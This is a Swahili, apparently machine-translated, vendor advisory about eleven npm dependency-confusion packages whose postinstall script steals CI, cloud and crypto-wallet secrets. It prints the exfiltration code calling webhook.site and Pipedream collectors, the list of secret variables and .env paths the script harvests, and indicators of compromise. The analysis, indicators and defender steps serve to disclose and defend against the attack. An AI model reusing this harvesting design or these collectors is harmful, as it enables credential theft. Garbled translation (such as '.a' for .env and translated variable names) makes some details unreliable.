Mkanganyiko wa CryptoDAO: Uvunaji wa Vifurushi vya npm CI/CD na Siri za Fedha za Kidijitali

Mkanganyiko wa CryptoDAO: vifurushi kumi na moja vya npm, mzigo mmoja, uvunaji CI/CD na siri za pochi ya crypto

TL; DR

Mnamo 2026-06-17, akaunti moja ya npm ilichapishwa vifurushi kumi na moja vinavyoshiriki kusudi moja na mzigo mmojaKumi kati yao hubeba cryptodao- kiambishi awali (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); ya kumi na moja ni darubini @public-for-cdao/coreKila moja ilichapishwa katika toleo 99.99.99 na husafirisha baiti inayofanana recon.js inayoendelea postinstall.

Majina hayo ndiyo yanayoelezea. Yanasomeka kama vizuizi vya ndani vya mnyororo wa vifaa vya kibinafsi vya mradi wa crypto/DAO. Yakiwa yamechapishwa kwa usajili wa umma wa npm katika toleo la juu bandia, wanasubiri ujenzi pipeline ambayo imeundwa ili kutatua majina hayo na ambayo hufikia npm ya umma kabla ya — au badala ya — sajili ya kibinafsi. Hii ni mkanganyiko wa utegemezi, na mzigo wa mzigo umepangwa kwa usahihi mahali ambapo unatarajia kutua: CI/CD runners.

Wakati postinstall moto, recon.js hukusanya maelezo ya mwenyeji, hufagia kwa ukali vigezo arobaini vya mazingira ya wingu, CI, na crypto-pochi, inasoma yoyote .env faili anazoweza kupata na kusambaza mistari yenye siri kihalisi, kisha hutuma kifurushi hicho kwa wakusanyaji wawili — webhook.site na sehemu ya mwisho ya Pipedream — ikiwa na uthibitishaji wa cheti cha TLS umezimwa. Nakala pia imeandikwa chini ya /tmp.

Ukali: juuMfumo ikolojia ulioathiriwa: npmVifurushi vyote kumi na moja vilikuwa moja kwa moja wakati wa kuandika makala haya.

Anatomia ya mashambulizi

Mfumo huo una sehemu nne zinazosogea, na hakuna hata moja kati ya hizo ambayo ni fiche ukijua angalia safu moja nyuma ya jina la kifurushi.

1. Toleo la mfumuko wa bei kama chambo cha kusuluhisha. Kila kifurushi kinatangaza toleo 99.99.99. Mkanganyiko wa utegemezi hufanya kazi wakati meneja wa kifurushi, alipoomba jina la ndani, pia huangalia sajili ya umma na kuchagua toleo la juu zaidi hupata. Chaguo-msingi la npm kwa safu ya kadi ya utunzaji au wildcard ni toleo linaloridhisha zaidi katika kila chanzo kilichosanidiwa; ikiwa zote mbili ni za faragha jibu la usajili na umma la npm kwa jina moja, nambari kubwa ya toleo inashinda. A 99.99.99 inazidi kimsingi toleo lolote halisi la ndani ambalo mradi utakuwa nalo imefikiwa, kwa hivyo msuluhishi ambaye hajabanwa kwenye chanzo cha faragha anapendelea umma — na katika hali hii, adui — nakala. Mhudumu hahitaji kujua Nambari halisi za toleo la shabaha; kuchagua kiwango cha juu cha ajabu huhakikisha sare kila wakati huvunja njia yao.

2. Kichocheo cha baada ya kusakinisha. kifurushi.json huunganisha mzigo kwenye usakinishaji mzunguko wa maisha:

{   "scripts": { "postinstall": "node recon.js" } }

Hakuna haja ya kuingiza kifurushi. Kukisakinisha tu — ambacho CI pipeline hufanya kiotomatiki - huendesha recon.js.

3. Uvamizi mpana wa siri. recon.js hukusanya safu ya matokeo katika hatua:

  • Muktadha wa seva pangishi: jina la mwenyeji, mfumo na toleo, usanifu, jina la mtumiaji, linalofanya kazi saraka.
  • Vigezo vya mazingira: hurejelea orodha isiyobadilika ya majina na rekodi arobaini hivi yoyote ambayo imewekwa. Orodha inafichua — inaoanisha tokeni za CI za kawaida (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, TOKENI_YA_KUPATA_GITLAB) na wingu hati (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) na siri za usajili na vyombo (NPM_TOKEN, Nenosiri la DOCKER, HARBOR_PASSWORD) na kundi lenye ladha ya crypto dhahiri:  UFUNGUO_WA_PRIVATE, MNEMONIK, SEED_PHRASE, Ufunguo_wa_API_wa_INFURA, Ufunguo_wa_API_YA_ALCHEMY, ETH_RPC, BSC_RPCThamani zilizorekodiwa hupunguzwa hadi herufi 50 za kwanza.
  • .a faili: huchunguza orodha ya njia — .a, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, na .uzalishaji/maendeleo aina tofauti — na kwa faili yoyote iliyopo, ni huchuja yaliyomo kwenye mistari inayolingana UFUNGUO|SIRI|TOKEN|PASI|BINAFSI|KUKUMBUKA na kusukuma mistari hiyo **kwa ukamilifu, bila kufupishwa** kwenye matokeo.
  • Muktadha wa mpangishaji wa jengo: unaorodhesha maingizo 20 ya kwanza ya /hujenga/, /home/gitlab-runner/builds/, /var/lib/gitlab-runner/, na / tmp /.

Orodha ya njia na orodha ya vigezo hupimwa kwa wakimbiaji wa GitLab, ambayo inaelekeza mzigo wa malipo haswa katika miundombinu ya CI inayojiendesha yenyewe badala ya msanidi programu kompyuta mpakato. Kuweka orodha ya mavuno kwa kategoria hufanya usafirishaji unaokusudiwa kuwa wazi:

Kategoria Vigezo / njia zilizofikiwa
CI/CD utambulisho na utumaji CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Wingu AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Usajili na kontena NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Maduka ya data DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Crypto / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Ujumbe SLACK_TOKEN, DISCORD_TOKEN
Kwenye diski .env familia + /home/gitlab-runner/.env, /root/.env, /app/**/.envorodha za saraka za /builds/, /var/lib/gitlab-runner/

Kundi la crypto ni sehemu inayotofautisha hili na siri ya CI ya jumla. kufagia: misemo ya mbegu za pochi na funguo za kusaini huonekana tu katika mazingira ya mradi wa blockchain, na wanajielekeza moja kwa moja kwenye cryptodao-/ishara/mikataba majina ya wabebaji.

4. Uchujaji mara mbili huku uthibitishaji ukizimwa. Safu iliyokusanywa ni imepangwa kwa mfululizo na kutumwa kwa sehemu mbili:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

kukataa Isiyoidhinishwa: si kweli huzima ukaguzi wa cheti cha TLS kwa bidhaa zinazotoka simu. Data hiyo hiyo huchapishwa kwenye stdout (kwa hivyo pia huwekwa kwenye kumbukumbu za kazi za CI) na imeandikwa kwa /tmp/.npm_recon_ .jsonMakosa humezwa kimya kimya, kwa hivyo Imeshindwa kutuma haiachi alama yoyote katika matokeo ya usakinishaji zaidi ya moja [kurekebisha] imewekwa kwenye line.

Maoni yanayoongoza katika faili yanaelezea hili kama "Mkanganyiko wa Utegemezi Mzigo wa Upelelezi.” Ufupishaji wa thamani za mazingira hadi herufi 50 ume umbo la uthibitisho wa dhana. Kinachoisukuma kupita taa ya uwepo pekee ni .a utunzaji: mistari yenye siri hupelekwa mbele kikamilifu, na maeneo ya mwisho ni wakusanyaji wawili wanaofanya kazi, wanaodhibitiwa na washambuliaji badala ya sinki linalohesabika tu vibao.

Timeline

Muundo wa kuchapisha ni sahihi ya kisukuma kimoja kilichoandikwa, si kumi na moja vipakiaji huru.

Muda (UTC, 2026-06-17) tukio
03:24:58 cryptodao-bot@99.99.99 kuchapishwa
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — aina tofauti ya darubini, ~dakika 24 baadaye

Vifurushi kumi vilitoka ndani ya dirisha la sekunde 29, takriban kimoja kila baada ya sekunde tatu. Kipimo @umma-kwa-cdao/msingi ikifuatiwa kama dakika 24 baada ya — sekunde mkataba wa majina kwa lengo lile lile, iwapo mradi unaotumia unarejelea mnyororo wa zana wa ndani chini ya wigo badala ya majina matupu.

Viashiria vya maelewano

aina Kiashiria
Mtoza hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Mtoza hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Sakinisha ndoano postinstall: node recon.js
Faili iliyoachwa /tmp/.npm_recon_<timestamp>.json
Alama ya logi [recon] <pkg>@<ver> installed on <hostname> (kutoweka katika kumbukumbu za CI)
Tabia rejectUnauthorized: false kwenye HTTPS zinazotoka wakati wa kusakinisha
Malipo recon.js, sawa katika vifurushi vyote kumi na moja (muundo mmoja ulioshirikiwa)
version 99.99.99 kwenye kila kifurushi
Packages cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (yote 99.99.99)
Mchapishaji aduljune / aduljune@proton.me (barua pepe haijathibitishwa, hakuna hazina chanzo iliyounganishwa)

 Tabia ya sifa na inayoonekana

Kila kitu kuhusu kundi hilo kinaelekeza upande mmoja. Vifurushi vyote kumi na moja vilichapishwa na akaunti ya npm mtu mzima (aduljune@proton.meanwani ambayo haijathibitishwa bila hifadhi chanzo iliyounganishwa), ndani ya muda wa dakika 25, wakati huo huo 99.99.99 toleo, usafirishaji recon.js ambao maudhui yake yanafanana kwa baiti kwa kila kifurushi (MD5 inalingana na nakala zote kumi na moja zilizotolewa). Hiyo ni mzigo mmoja wa malipo imebandikwa kwenye orodha ya majina, si matumizi ya msimbo huru.

Orodha ya majina hufafanua shabaha inayokusudiwa. cryptodao-* na cdao eleza mpangilio wa moduli ya kibinafsi ya mradi wa crypto/DAO, na orodha ya mavuno ya mzigo vioo vinavyokisia: pamoja na CI ya jumla na siri za wingu, haswa kufikia UFUNGUO_WA_PRIVATE, MNEMONIK, SEED_PHRASE, na Ethereum/BSC RPC na funguo za mtoa huduma. .a Njia za utafutaji na orodha za saraka ni GitLab-runner maalum. Athari inayoonekana ni kwamba yoyote pipeline wamedanganywa kusakinisha hizi majina yangesambaza tokeni zake za CI, funguo za wingu, na kwenye diski .a siri — na, kwa mradi wa blockchain, nyenzo zake za pochi — kwa wakusanyaji wawili wa wahusika wengine.

Hatutoi madai yoyote kuhusu ni nani anayeendesha akaunti au walichopanga kufanya na data. Ukweli unaojitegemea: majina yanalenga aina maalum ya mnyororo wa ndani wa vifaa, mzigo wa malipo husoma na kusambaza thamani halisi za siri, na miundombinu ilikuwa hai.

Athari, mitindo, na mwongozo wa mtetezi

Mkanganyiko wa utegemezi inabaki na ufanisi kwa sababu inatumia tabia ya kutatua matatizo, si udhaifu katika kifurushi chochote. Mtoa huduma hapa ni mdogo — kumi na moja karibu tupu vifurushi — lakini kipenyo cha mlipuko ni chochote kile pipeline kimakosa anapendelea umma npm kwa jina la ndani. Vipeperushi vya CI ndio mahali pabaya zaidi kwa hilo kutokea: wanashikilia hasa ishara na .a faili hizi zinasomwa na mzigo huu, na wanasakinisha utegemezi usioingiliana, kwa hivyo baada ya kusakinisha anakimbia bila mtu yeyote anayemtazama.

Kundi hili pia linafaa muundo tunaouona kila mara: malipo ya muda wa kusakinisha yanayowasilishwa kama "utafiti" au "upelelezi" wakati wa kukusanya sifa halisi. Lebo kwenye faili haibadilishi kile ambacho msimbo hufanya kwenye kikimbiaji. Chaguo mbili za muundo zinabaki shughuli kimya: kila operesheni ya mtandao na mfumo wa faili imeunganishwa katika kidhibiti cha ubaguzi kinachotupa hitilafu, hivyo kutuma kumezuiwa au faili inayokosekana haitoi matokeo yoyote ya uchunguzi, na kitu pekee kilichochapishwa ni nakala moja isiyo na madhara [recon] … imewekwa mstari unaochanganyika na mazungumzo ya kawaida ya usakinishaji. Matumizi ya tovuti ya wavuti na Pipedream pia ni urahisi wa makusudi — zote mbili ni bure, huduma za kukamata ombi zinazotolewa mara moja, kwa hivyo mwendeshaji hahitaji seva za yao wenyewe na maeneo yanaonekana kama majina ya kawaida ya mwenyeji wa SaaS katika kumbukumbu za kutoka.

Uchumi ndio unaofanya hili liwe na thamani ya umakini wa mtetezi ingawa msimbo wa mtoa huduma ni mdogo. Kusajili majina kumi na moja hakuna gharama, mzigo ni mmoja faili imenakiliwa mara kumi na moja, na meneja wa kifurushi hufanya utekelezaji wote. mipangilio isiyo sahihi pipeline popote pale inapotumia moja ya majina haya hulipa yote operesheni.

Hatua thabiti kwa watetezi:

  • Bandika darubini za ndani kwenye sajili yako ya kibinafsi. Sanidi npm ili majina ya ndani
     na scopes hutatuliwa tu dhidi ya sajili yako (upangaji wa sajili ya .npmrc iliyo na scoped,
    au proksi ambayo haipatikani kamwe kwenye npm ya umma kwa nafasi za majina zinazomilikiwa). Hifadhi majina yako ya wigo wa umma ili mtu mwingine yeyote asiweze kuyasajili.
  • Commit funga faili na usakinishe kwa kutumia hati za –ignore katika CI pale inapowezekana, au chunguza seti ndogo ya vitegemezi vinavyohitaji hati za kusakinisha.  recon.js haiwezi kufanya kazi ikiwa baada ya kusakinisha haijatekelezwa.
  • Tumia toleo la 99.99.99 (au toleo lingine la juu sana) la jina linaloonekana kama la ndani kama bendera nyekundu katika ukaguzi wa utegemezi na ufuatiliaji wa sajili.
  • Tahadhari wakati wa kuzima wakati wa usakinishaji. A baada ya kusakinisha ambayo hufungua HTTPS inayotoka muunganisho — hasa uthibitishaji wa cheti ukiwa umezimwa — webhook.site, Pipedream, au huduma kama hizo za kukamata ombi zinafaa kuzuiwa kwenye ukingo wa mtandao na kuripoti kumbukumbu za ujenzi.
  • Tafuta vitu vya kale. Angalia vipeperushi vya /tmp/.npm_recon_*.json na kwa [recon] ... imewekwa kwenye ... alama katika kumbukumbu za CI za hivi karibuni. Ikiwa itapatikana, zungusha kila sifa inayoonekana kwa hilo pipeline — Tokeni za CI, funguo za wingu, tokeni za usajili, na mbegu zozote za pochi au funguo za faragha zilizopo katika mazingira au faili za .env.

Marejeo

Hakuna ripoti za nje kuhusu kundi hili zilizokuwepo wakati wa kuandika; uchambuzi hapo juu inategemea moja kwa moja yaliyomo kwenye kifurushi kilichochapishwa

zana-za-sca-za-uchambuzi-wa-muundo-wa-programu
Weka kipaumbele, rekebisha, na ulinde hatari za programu yako
Pata Akaunti yako ya Bure.
Hakuna kadi ya mkopo inayotakiwa.

Linda Uundaji na Uwasilishaji wa Programu yako

na Xygeni Product Suite